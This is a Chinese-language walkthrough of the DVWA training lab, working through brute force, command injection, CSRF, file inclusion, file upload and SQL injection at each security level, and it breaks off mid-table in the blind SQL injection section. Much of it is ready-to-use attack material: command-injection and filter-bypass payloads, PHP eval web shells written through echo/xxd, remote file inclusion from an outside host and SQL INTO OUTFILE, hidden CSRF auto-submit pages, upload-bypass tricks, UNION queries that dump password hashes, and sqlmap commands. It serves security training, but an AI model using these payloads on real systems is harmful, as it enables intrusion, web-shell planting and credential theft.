环境声明

  • Centos7
  • 宝塔Linux
  • DVWA 1.10
  • PHP5.6
  • MySQL5.5.62


暴力破解

漏洞介绍

漏洞介绍

Brute Force(暴力破解),暴力破解是通过大量的猜测与穷举来尝试获取用户口令的方法。攻击者可以通过穷举法来获取到用户的口令(时间问题而已),通过对比返回的数据包长度可以判断爆破是否成功。

常用字典

1
2
https://hub.bigpp.cn/%E5%85%B6%E4%BB%96%E5%88%86%E7%B1%BB/%E5%AF%86%E7%A0%81%E6%9C%AC.zip
https://github.com/3had0w/Fuzzing-Dicts

Low级别

防御方式

该级别对暴力破解无任何防范措施

漏洞利用

使用BurpSuite抓包后将该数据包发送到Intruder模块后将password字段添加为变量

image-20211103155723451

Payloads下的Payloads Options中指定密码本,加载完成后点击右上角的Start attack开始爆破

image-20211103160130387

找到数据包长度与其他数据包长度不一样的就可能为密码

image-20211103160339688

Medium级别

防御方式

当密码输入错误时会延时两秒后再回显,可以减缓爆破的速度

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

漏洞利用

漏洞利用方法与Low级别一样,但获取到正确密码的时间会相对较慢

High级别

防御方式

在访问登录页面时会在页面中产生一个随机的user_token ,当登录时会携带该user_token进行登录,在每次登录时都需要一个新的user_token
在登录失败后会随机延时1~3秒

请求参数如下:
username=admin&password=dsa&Login=Login&user_token=69c7d4c2ce6b5f7431b1ff6282311799#

漏洞利用

使用Burpsuite抓包后将该数据发送到Intruder模块中,将passworduser_token字段添加为变量

将攻击类型Attack type设置为Pitchfork

image-20211103165457517

Options下的Grep-Extract中点击Add添加攻击需要用到的信息(user_token)

在该页面点击Fetch response后在返回的代码中找到user_token的值,并将其选中后复制(后续需要用到)

image-20211103165915904

Options下的Request Engine请求线程数设置为1

image-20211103170121371

选中Payload set 1 ,将Payload type 设置为Simple list

image-20211103170423400

选中Payload set 2 ,将Payload type设置为Recursive grep

将刚才复制的user_token值设置为第一次请求的user_token

image-20211103170647126

开始攻击后会自动从网页中获取下一次的user_token值,并将该值携带到下一次请求中

如果在配置过程中出现错误需要重新抓包发送到Intruder模块中,重复上面的操作

image-20211103171645368

命令注入

漏洞介绍

漏洞介绍

Command Injection(命令注入),命令注入指通过提交恶意构造的参数破坏原命令语句结构,从而达到执行系统命令的目的。在PHP中可被用到的执行命令的函数如system()exec()eval()shell_exec()等,当程序对用户输入没有限制或不严谨时就可能出现命令注入漏洞。

常用Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
命令A && 命令B			# 只有前面的命令执行成功后才会执行后面的命令
命令A & 命令B # 无论前面的命令执行成功或失败,总会执行后面的命令
命令A || 命令B # 当前面的命令执行失败才会执行后面的命令
命令A | 命令B # 前面的命令执行的输出作为后面命令执行的输入
命令A ; 命令B # 两条命令互不干扰

# 写Shell
- Windows
# 使用 ^ 对 < 进行转义
echo ^<?php @eval($_POST[x])?^> > /xxx/xxx/x.php

- Linux
# 将一句话马转换为十六进制
原: <?php @eval($_POST[x]);?>
现: echo 3c3f70687020406576616c28245f504f53545b785d293f3e|xxd -r -ps > /xxx/xxx/x.php

Low级别

防御方式

该级别对用户传入的参数无任何过滤或限制

漏洞利用

该页面原始命令与功能

1
2
# 对用户指定的IP通过ping的方式发送4个数据包
ping -c 4 IP地址

恶意构造该语句后

1
2
# 对指定IP发送4个数据包后执行后面的命令查看当前用户
ping -c 4 127.0.0.1 && whoami

image-20211104091549686

Medium级别

防御方式

该级别将&&符号替换成空字符

1
2
3
4
$substitutions = array(
'&&' => '',
';' => '',
);

漏洞利用

当常用连接符被过滤时,可以使用其他的连接符或双写法进行绕过

1
2
3
4
5
# 使用其他连接符
xxx || whoami
127.0.0.1 | whoami
127.0.0.1 & whoami

image-20211104092120737

High级别

防御方式

该级别将常用的连接符都进行了过滤

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', # 此处过滤不严谨
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

漏洞利用

代码中有一处过滤不严谨导致可以执行命令注入 (一个有空格一个没空格)

1
'| ' => '',		# 该处过滤的字符为(| ) 但并未将(|) 过滤掉

image-20211104092914511

CSRF

漏洞介绍

漏洞介绍

CSRF(跨站请求伪造),可以理解为攻击者盗用了你的身份、以你的名义发送恶意请求,对服务器来说该请求是合法的,但该请求完成了攻击者所期望的效果。如以你的名义发送邮件、发送消息、盗取账号等

原理:
用户在浏览器上登录某个网站后,网站会将登录的Cookie存储到本地。用户对该网站的某些功能(如修改密码)进行操作时会携带该Cookie,而攻击方可以利用该特点构造一个恶意连接,该链接在用户的浏览器打开后会利用本地的Cookie去请求该网站的一些操作(如修改密码、发消息等)

常用Payload

需要按需求修改漏洞的URL地址与提交的参数或类型

伪造一个页面,当用户点击这个连接时就会携带Cookie对目标网址发送请求,实现密码修改等操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!-- GET方式的CSRF -->
<img src="CSRF漏洞URL" border="0" style="display:none;">
<h1>404</h1>
<h2>file not found.</h2>



<!-- POST方式的CSRF -->
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body><form method="post" action="CSRF漏洞URL">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="18656565545" />
<input id="add" type="text" name="add" value="hebei" />
<input id="email" type="text" name="email" value="lili@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

Low级别

防御方式

该级别对CSRF无任何防护,提交方式为GET

漏洞利用

通过抓包可以看到修改密码的URL为 http://127.0.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

也就是当用户访问该URL时就会进行密码的修改,当前参数将密码修改为admin,通过构造恶意链接使用户进行访问从而修改用户密码

可以使用apachenginx等环境搭建恶意链接页面,假设当前构造的恶意链接为 http://xxxx/1.html 则用户使用与DVWA同一个浏览器访问该链接时就会将密码自动修改为123

1
2
3
4
5
<!--将密码修改为123-->
<!--可以将漏洞地址转换为短链接,比较不会太明显-->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;">
<h1>404</h1>
<h2>file not found.</h2>

Medium级别

防御方式

判断来源地址HTTP_REFERER是否包含主机名SERVER_NAME ,当包含主机名时才允许修改密码

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

漏洞利用

判断来源地址中是否包含主机名可以理解为是只允许从自己的网站中访问该页面,但可以修改恶意链接请求页面的文件名来绕过该防御方式,如

1
2
3
4
# 利用方法同Low级别,只不过需要将文件名改为与靶机主机同名

靶机主机: http://www.123.com/
恶意地址: http://www.abc.com/www.123.com.html

High级别

防御方式

在提交的参数中加入了随机的user_token值,每次请求时该值都会改变

1
2
3
4
5
6
7
8
9
<form action="#" method="GET">
New password:<br>
<input type="password" autocomplete="off" name="password_new"><br>
Confirm new password:<br>
<input type="password" autocomplete="off" name="password_conf"><br>
<br>
<input type="submit" value="Change" name="Change">
<input type="hidden" name="user_token" value="a58e1118c8199cd93b8bc5a2b504143b">
</form>

漏洞利用

请求的URL为http://192.168.132.200:8001/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=a58e1118c8199cd93b8bc5a2b504143b#

该漏洞需要配合XSS漏洞获取user_token参考此处

文件包含

漏洞介绍

介绍

File Inclusion(文件包含),文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。

伪协议

1
2
3
4
5
6
7
8
9
10
11
# 伪协议
file:/// # 访问本地文件
php:// # 访问各个输入输出设备
php://filter # 过滤器 一般用于任意文件的读取或getshell
php://input # 可以访问请求的原始数据只读流,将POST请求中的数据作为php代码执行
data:// # 控制输入流数据
http:// # 访问http网址
https:// # 访问https网址
zip:// # 压缩流


常用Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 读取文件(base64编码)
?file=php://filter/read=convert.base64-encode/resource=绝对或相对路径
?file=file:///绝对路径

# 写文件
在其他网站中上传1.txt文件,内容为: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
包含: ?file=http://192.168.1.200/1.txt # 在同目录下会创建一个名为shell.php的一句话马

# 执行命令
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= # 使用base64对<?php phpinfo()?>进行编码
?file=php://input # 再使用POST提交数据 -> <?php phpinfo()?>

# 执行文件
创建一个内容为一句话马的文件,再将文件文件后缀改成可以上传到服务器的后缀名
包含一句话马时使用蚁剑连接时要设置Cookie PHPSESSID=xxxxx;security=low
?file=../xxx/xxx/1.png # 本地包含,会将png解析成php
?file=http://xx.com/1.txt # 使用远程包含将1.txt的内容解析成php

Low级别

防御方式

该级别对文件包含无任何防护

漏洞利用

1
2
3
4
# 本地包含

/vulnerabilities/fi/?page=/www/wwwroot/dvwa/index.php # 绝对路径
/vulnerabilities/fi/?page=../../index.php # 相对路径

image-20211104201304743

1
2
3
4
# 读取文件
对读取到的字符串进行base64解码就是该页面的代码了

/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

image-20211104194137763

1
2
3
4
5
# 写入文件(远程包含)
在某个上传点或其他服务器上写入该内容,再使用远程包含即可创建文件 (创建的文件目录在/vulnerabilities/fi/目录下)
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>

/vulnerabilities/fi/?page=http://xx.xx.xx.xx/1.txt

image-20211104194855092

1
2
3
4
5
# 执行php命令
?page=data:txt/plain,<?php phpinfo()?>
?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= # base64编码后 结果同上
?page=php://input # 需要使用POST提交php代码

image-20211104195116334

image-20211104195416016

1
2
3
4
5
# 远程包含
在某个上传点或其他服务器上写入该内容 (使用其他php代码也可以)
<?php @system($_GET[cmd])?>

?page=http://xx.xx.xx.xx/1.txt&xx=xxx

image-20211104195801955

1
2
3
4
5
6
7
8
# 解析一句话
对一句话进行base64编码
<?php @eval($_POST['cmd']);?> ==> PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
<?php @eval($_POST['cmd']); ==> PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7
<?php @eval($_POST['cmd'])?> ==> PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk/Pg==

在使用蚁剑连接时需要配置Cookie
http://xx.xx.xx.xx/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

image-20211104202141048

Medium级别

防御方式

http:// | https:// | ../ | ..\都过滤成空值

1
2
3
4
5
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

漏洞利用

可以参考Low级别的一些方法(使用php://等伪协议),或使用双写关键词绕过法

1
2
3
4
# 程序会将中间的http://过滤为空后将前面的htt与后面的p://进行拼接,成为http://
htthttp://p://

/vulnerabilities/fi/?page=htthttp://p://192.168.132.200/1.txt

image-20211104203151288

High级别

防御方式

只允许提交的参数开头为file,文件名必须为include.php

1
2
3
4
5
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

漏洞利用

可以使用file:///伪协议来读取文件内容

1
2
3
# 实验中的flag.txt需要自己提前创建,路径需要绝对路径

/vulnerabilities/fi/?page=file:///www/wwwroot/dvwa/flag.txt

image-20211104203813972

文件上传

漏洞介绍

介绍

File Upload(文件上传),文件上传指用户上传了一个可执行的脚本文件(php、asp、jsp等),并通过该脚本文件获取了执行服务器端命令的权限。在web的上传功能上对上传的文件类型、文件后缀、文件内容等过滤不严谨导致可执行脚本文件的上传。

上传绕过方法

前端的JS检查绕过

有时候程序只会在前端js上进行上传的限制,可以利用浏览器将js禁用来绕过该限制

1
2
3
4
# 浏览器禁用JS方法
- Chrome: 按F12 > 点击右上角的设置图标 > 点击左侧的Preferences > 再找到右边Debugber的 Disable JavaScript
- Firefox: 按F12 > 点击右上角的设置图标 > 在高级设置下找到禁用JavaScript
- IE: 点击右上角的设置 > 工具 > Internet选项 > 安全 > 自定义级别 > 脚本 > 禁用活动脚本 | 禁用java小程序

文件黑名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 上传特殊可解析的后缀
- .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1
- .Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml
- .asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

# 上传.htaccess
- 上传一个内容为 SetHandler application/x-httpd-php 的.htaccess文件
- 上传完成后将一句话马的后缀改成.png之类可以被上传的文件后缀,.htaccess会中的配置会将该图片使用PHP进行解析

# 上传.user.ini
-


# 后缀大小写绕过
- 将文件名改为Php pHp之类的后缀,再次上传即可

# 点绕过 (仅限Windows)
- 将文件上传后使用抓包工具将后缀改成xx.php.再上传即可
- 原理: 在Windows下xx.jpg 或xx.jpg.这两类文件都是不允许存在的,当存在这种命名方式时windows会自动文件后的空格或末尾.去掉

# 空格绕过
- 将文件上传后抓包在文件后缀加空格
- 如: (xx.php )

# ::$DATA绕过 (仅限Windows)
- 在文件后缀名后加上::$DATA 如: xx.php::$DATA
- 上传成功后去掉::$DATA访问

# 配合解析漏洞
- 制作图片马后使用解析漏洞解析图片马即可
- Apache陌生后缀解析漏洞
- Apache换行解析漏洞

# 双写后缀名绕过
- 将文件名改为xx.pphphp xx.aaspsp之类的形式
- 程序将php剔除后 剩下前面的p + 后面的hp 拼接成php

文件白名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# MIME绕过
- 上传文件后将文件的Connetn-type类型改为允许被上传的类型 如: image/png

# 0x00截断
- 详细: https://blog.csdn.net/wy_97/article/details/76549405
- 利用方法:
在上传路径中在路径后面的文件名中添加的+号 (如: ../upload/xx.php+)
再从抓包软件中的HEX中将+号的十六进制(2b)修改为00即可
- 条件
PHP版本小于5.3.4
magic_quotes_gpc = Off
上传路径可控

# %00截断
- %00截断的使用是在路径上,如果在文件名上使用就无法正常截断了(如aa.php%00bb.jpg)
- 利用方法:
在上传路径中在路径后面的文件名中添加添加%00 (如: ../upload/xx.php%00)
文件名后缀必须是允许被上传的文件类型.
- 条件
PHP版本小于5.3.4
magic_quotes_gpc = Off
上传路径可控

文件内容检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 文件头检查
- 方法1: 生成图片马后配合解析漏洞解析该图片
- 方法2: 在文件开头中添加GIF89a 再写入一句话马,配合解析漏洞解析该文件

# 突破getimagesize()
- 同上

# 突破exif_imagetype()
- 同上

# 二次渲染
- 重新渲染图片后会剔除一些东西,可以将文件上传后下载下来,使用010editor对比两张图片,在没有变动的地方(一般在文件头)插入一句话
- 最好是使用gif格式的!!!
- https://xz.aliyun.com/t/2657

Low级别

防御方法

该级别对文件上传无任何限制

漏洞利用

直接上传PHP文件即可

image-20211105155124992

Medium级别

防御方法

该级别只允许上传类型为jpeg或png的文件(通过Content-Type判断),且上传的文件大小要小于100000B(97kb)

1
2
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) )

漏洞利用

上传文件后使用BurpStuite抓包将Content-Type的值改成image/png再放行即可

绕过上传文件大小的限制可以改MAX_FILE_SIZE下的值

image-20211105155848601

High级别

防御方法

该级别只允许上传类型为jpg、jpeg、png的文件,且文件头类型需要为上述的类型,文件后缀需要为上述类型,上传的文件大小要小于100000B(97kb)

1
2
3
4
5
6
7
8
9
10
11
12
13
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )

漏洞利用

方法1: 可以在可执行文件前加上GIF89a绕过文件头内容检查,上传成功后再使用解析漏洞去解析该文件

1
2
GIF89a
<?php phpinfo();?>

image-20211105161718370

方法2: 将正常的图片与 可执行脚本程序结合,上传成功后再利用解析漏洞去解析该文件

1
2
3
4
5
6
7
8
# Windows
copy /b 图片文件.png+可执行脚本文件.php 新文件.png

# Linux
cat 图片文件.png 可执行文件.php >> 新文件.png

# 文件包含
/vulnerabilities/fi/?page=http://192.168.132.200:8001/hackable/uploads/info.png

image-20211105162722100

不安全的验证码

漏洞介绍

Insecure CAPTCHA(不安全的验证码),验证码可以有效的防止暴力破解,当代码设计不严谨时验证码仅为摆设。

当前环境异常,下次一定写

SQL注入

漏洞介绍

漏洞介绍

SQL Injection(SQL注入) ,SQL注入是发生在Web程序中数据库层的安全漏洞,主要原因是程序对用户输入的数据的合法性没有判断和处理,导致攻击者可以在Web程序中事先定义好的SQL语句中添加额外的SQL语句(如查询、修改、增加等),实现欺骗数据库从而执行非授权的任意查询。

注入常用套路

1
2
3
4
5
6
7
8
9
# 判断注入

?id=1' # 返回异常可能存在注入
?id=1'# # 井号注释掉后面的sql语句,返回正常可能存在注入(#需要转成%23)
?id=1'-- # --注释掉后面的sql语句,在url时(GET请求)中得改成--+,返回正常可能存在注入
?id=1 and 1=1 # 返回正常可能存在注入
?id=1 and 1=2 # 返回异常可能存在注入
?id=1 or 1=1 # 返回正常可能存在注入
?id=1 and select sleep(5) # 网页加载时间比平时慢5秒可能存在注入
1
2
3
4
5
# 猜字段数量

?id=1' order by 1# # 调整数字大小,在正常与异常的临界点则为字段数量
?id=1" order by 1#
?id=1 order by 1
1
2
3
4
5
# 查询数据库名

?id=1' union select 1,2,database()#
?id=1" union select 1,2,database()#
?id=1 union select 1,2,database()
1
2
3
4
# 查表名

?id=1' union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()#
?id=1 union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()
1
2
3
4
5
# 查字段名

?id=1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()# # 猜所有表的字段
?id=1 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()
?id=1' union select 1,COLUMN_NAME FROM information_schema.columns where TABLE_NAME='users'# # 单独查询某个表的字段
1
2
3
4
5
6
# 查字段内容

?id=1' union select 字段1,字段2,字段3 from 表名#
?id=1 union select 字段1,字段2,字段3 from 表名
?id=1 union select 1,group_concat(字段名) from 表名 # 一般查询是一列输出的,group_concat()是拼接为一行输出的
?id=1 union select 1,group_concat(字段名) from 库名.表名
1
2
3
4
5
6
7
8
9
10
11
# 读文件
select load_file('/flag.txt') # 直接在数据库中执行
?id=1 union select 1,load_file('/flag.txt') # 联合查询读文件
?id=1 union select 1,load_file(0x2f666c61672e747874) # 如果过滤的是'或者是"时 使用十六进制对其进行编码

# 写文件
select '<?php phpinfo();?>' into outfile '/var/www/html/1.php'; # 直接在数据库中执行
?id=1 union select '<?php @eval($_POST["a"]);?>' into outfile '/var/www/html/1.php';
?id=1 union select '<?php @eval(\$_POST["a"]);?>' into outfile '/var/www/html/1.php'; # 在一定条件下需要使用\把$注释掉

select 0x3c3f70687020406576616c28245f504f53545b2261225d293b3f3e into outfile '/var/www/html/1.php'; # 将一句话马转为16进制

Low级别

防御方式

该级别对SQL注入无任何防护

1
2
3
# 字符型注入

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

漏洞利用

判断注入

1
2
3
4
5
?id=1'&Submit=Submit#		# 返回异常
?id=1'%23&Submit=Submit# # 返回正常
?id=1' or '1'='1&Submit=Submit# # 返回异常

// 该页面存在SQL注入

image-20211106101621132

猜字段数

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1' order by 2%23&Submit=Submit		# 猜字段数为2时返回正常
?id=1' order by 3%23&Submit=Submit # 猜字段数为3时返回异常

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' order by 2;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)

// 该注入查询的字段数为2个

查询数据库名

1
2
3
4
5
6
7
8
9
10
11
12
?id=1' union select 1,database()%23&Submit=Submit

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' order by 2;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)

// 当前数据库名为 dvwa

image-20211106102359698

查询表名

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=0' union select 1,table_name from information_schema.columns where table_schema=database()%23&Submit=Submit

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='0' union select 1,table_name from information_schema.columns where table_schema=database();
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| 1 | guestbook |
| 1 | users |
+------------+-----------+
2 rows in set (0.00 sec)

// dvwa数据库里有两个表(guestbook, users)

image-20211106102854711

查询字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
?id=0' union select 1,column_name from information_schema.columns where table_schema=database()%23&Submit=Submit		# 查询所有表的字段

?id=0' union select 1,column_name from information_schema.columns where table_name='users' and table_schema=database()%23&Submit=Submit # 查询表名为users的字段

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='0' union select 1,column_name from information_schema.columns where table_name='users' and table_schema=database();
+------------+--------------+
| first_name | last_name |
+------------+--------------+
| 1 | user_id |
| 1 | first_name |
| 1 | last_name |
| 1 | user |
| 1 | password |
| 1 | avatar |
| 1 | last_login |
| 1 | failed_login |
+------------+--------------+
8 rows in set (0.00 sec)

// users数据表中有字段user_id、first_name、last_name、user、password.....

image-20211106104604937

将查询的结果放一行输出

1
2
3
4
5
6
7
8
9
10
?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()%23&Submit=Submit

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '0' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name='users' and TABLE_SCHEMA=database();
+------------+---------------------------------------------------------------------------+
| first_name | last_name |
+------------+---------------------------------------------------------------------------+
| 1 | user_id,first_name,last_name,user,password,avatar,last_login,failed_login |
+------------+---------------------------------------------------------------------------+
1 row in set (0.00 sec)

image-20211106104412394

查询字段内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 已知信息
当前数据库名为 dvwa
数据表为 guestbook、users
users字段 user_id,first_name,last_name,user,password,avatar,last_login,failed_login

# 查询users表下的user,password
?id=0' union select user,password from users%23&Submit=Submit

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='0' union select user,password from users;
+------------+----------------------------------+
| first_name | last_name |
+------------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+----------------------------------+
5 rows in set (0.00 sec)

image-20211106105003294

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=ig0meougjboqdesphkglck4ri3;security=low"

Medium级别

防御方式

与Low级别注入类似,将提交的参数改成了数字类型,提交方式从GET改成了POST

1
2
3
# 数字型注入

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

漏洞利用

测试方法与Low级别类似,使用Burpsuite抓包后提交数据即可

1
id=1 union select user,password from users%23&Submit=Submit

image-20211106105531389

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8001/vulnerabilities/sqli/" --cookie="PHPSESSID=ig0meougjboqdesphkglck4ri3;security=medium" --data="id=1&Submit=Submit"

High级别

防御方式

使用分离页面查询(一个页面提交数据、一个页面显示回显),可以有效的避免注入工具的攻击

1
2
3
# 字符型注入

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

漏洞利用

与Low级别一样,提交数据页面不同而已

1
1' union select user,password from users#

image-20211106112902054

Sqlmap Payload

1
2
3
# --second-url指定数据回显页面  -u指定数据提交页面

sqlmap -u "http://192.168.132.200:8001/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=ig0meougjboqdesphkglck4ri3;security=high" --data="id=1&Submit=submit" --second-url="http://192.168.132.200:8001/vulnerabilities/sqli/"

SQL盲注

漏洞介绍

漏洞介绍

SQL Injection (Blind)(SQL盲注),所谓的SQL盲注就是在服务器没有错误回显的情况下进行注入攻击,盲注大致分两种: 布尔盲注、时间盲注。

布尔盲注: 只会返回错误或正确(true | false),执行正常的SQL语句返回正常,执行异常的SQL语句返回异常

时间盲注: 使用联合查询或条件语句设置延时,当某个条件成立时可以适当延时N秒,如网页加载时间比正常加载时间多出N秒则存在时间盲注,反之则不存在。前提: 时间盲注必须在网络延时低的情况下才能正常判断

盲注常用函数

length() 返回字符串的长度

1
2
3
4
5
6
7
8
9
10
11
语法: length(查询到的数据)
示例: (当前数据库名为dvwa)

select length(database()); # 查询当前数据库名的长度

mysql> select length(database())>2; # 查询当前数据库名的长度是否大于2,正确返回1,错误返回0
+----------------------+
| length(database())>2 |
+----------------------+
| 1 |
+----------------------+

substr() 截取字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
语法: substr(字符串,起始位置,截取长度)
示例: (当前数据库名为dvwa)

select substr(database(),1,1); # 查询当前数据库名的第一个字符,返回 d
select substr(database(),2,1); # 查询当前数据库名的第一个字符,返回 v
select substr(database(),1,2); # 查询当前数据库名的前两个字符,返回 dv

mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| dv |
+------------------------+

ascii() 返回字符的Ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
语法: ascii(单个字符)
示例: (当前数据库名为dvwa)

select ascii('a'); # 查询字符a的ascii码,返回97
select ascii(substr(database(),1,1)); # 查询当前数据库名第一个字符的ascii码,返回100对应的字符为d
select ascii(substr(database(),2,1)); # 查询当前数据库名第二个字符的ascii码,返回118对应的字符为v

mysql> select ascii(substr(database(),2,1));
+-------------------------------+
| ascii(substr(database(),2,1)) |
+-------------------------------+
| 118 |
+-------------------------------+

sleep() 延时函数

1
2
3
4
5
6
7
8
9
10
11
语法: sleep(延时时间)
示例:
select sleep(2) # 延时2秒

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec) # 执行时间

if() 条件函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
语法: if(语句1,语句2,语句3)
示例:

如果语句1执行正确则接着执行语句2,如果执行错误则执行语句3
select if(1=1,'yes','no'); # 如果1=1成立则返回yes,不成立则返回no
select if(1=1,sleep(2),'no'); # 如果1=1成立则延时2秒,不成立则返回no
select if(substr(database(),1,1)='d',"yes","no"); # 当前数据库名第一个字符为d则返回yes
select if(ascii(substr(database(),1,1))=100,"yes","no"); # 当前数据库名第一个字符的ascii码为100则返回yes

mysql> select if(length(database())>2,"yes","no"); # 当前数据库名长度大于2的话则返回yes
+-------------------------------------+
| if(length(database())>2,"yes","no") |
+-------------------------------------+
| yes |
+-------------------------------------+

limit 限制查询条数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 当猜表名时有多个表(substr函数一次只能处理一个字符串),需要用到limit 来限制一次只能输出一个表(一个字符串)
# (limit索引从0开始)

语法: limit 其起始,输出个数
示例:

users表下的user_id字段有内容: 1,2,3,4,5
select user_id from users limit 0,1 # 从第1个内容开始查询,返回一条数据,结果为1
select user_id from users limit 1 # 同上(起始位置默认为0)
select user_id from users limit 1,1 # 从第2个内容开始查询,返回一条数据,结果为2
select user_id from users limit 0,2 # 从第1个内容开始查询,返回两条数据,结果为12

# 查询当前数据库的第一个数据表表名长度
mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 0,1));
+----------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) |
